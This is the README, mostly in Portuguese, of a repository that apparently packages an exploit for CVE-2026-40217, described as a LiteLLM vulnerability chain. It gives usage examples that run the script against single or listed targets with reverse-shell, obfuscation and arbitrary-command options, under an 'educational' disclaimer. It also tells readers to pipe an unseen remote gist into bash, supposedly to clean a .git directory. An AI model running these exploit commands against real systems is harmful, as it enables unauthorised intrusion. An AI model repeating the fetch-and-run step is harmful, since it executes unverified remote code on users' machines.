cve-id

⚡ Uso Simples

Use este projeto apenas em ambientes seguros e autorizados, como:

• Máquinas virtuais locais
• Contêineres Docker
• Ambientes de laboratório isolados
• Ambientes de teste de penetração autorizados

Exemplo de configuração:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Exemplo de uso:

# Help
python cve-2026-40217.py -h

# Single target + reverse shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# Multi-target + obfuscation
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# With custom threads
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

Nota:

• Ao clonar de outro projeto, você deve executar curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y para limpar o diretório .git aninhado

Crédito ou Referência

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

📚 Repositório Educacional de Pesquisa em Segurança

Um repositório para aprender, testar e pesquisar conceitos de cibersegurança em ambientes controlados.

⚠️ Aviso de Segurança e Legal

Propósito

Este repositório é apenas para pesquisa de segurança educacional e autorizada.

Ele foi projetado para ajudar os usuários a aprender sobre:

• Vulnerabilidades de segurança
• Conceitos de sandbox e isolamento
• Práticas de codificação segura e defensiva

Uso Autorizado Somente

Use este repositório somente em ambientes onde você tenha permissão, como:

• Laboratórios pessoais ou máquinas virtuais
• Ambientes Docker ou isolados
• Testes de penetração autorizados
• Treinamento em cibersegurança ou pesquisa acadêmica

O uso não autorizado ou ilegal é estritamente proibido.

Sem Responsabilidade

Os autores e colaboradores não são responsáveis por quaisquer danos, usos indevidos, problemas legais ou perdas causados por este projeto.

Ao usar este repositório, você concorda que:

• Você é responsável por suas próprias ações
• Você o utilizará de forma legal e ética
• O projeto é fornecido sem garantia

Uso Ético

Este projeto destina-se a:

• Pesquisa de segurança defensiva
• Educação em cibersegurança
• Conscientização sobre vulnerabilidades
• Pesquisa segura de sistemas e software

Por favor, siga práticas de divulgação responsável e cumpra todas as leis aplicáveis.

Contato

Para divulgação responsável ou colaboração, entre em contato com o mantenedor do repositório pelo GitHub.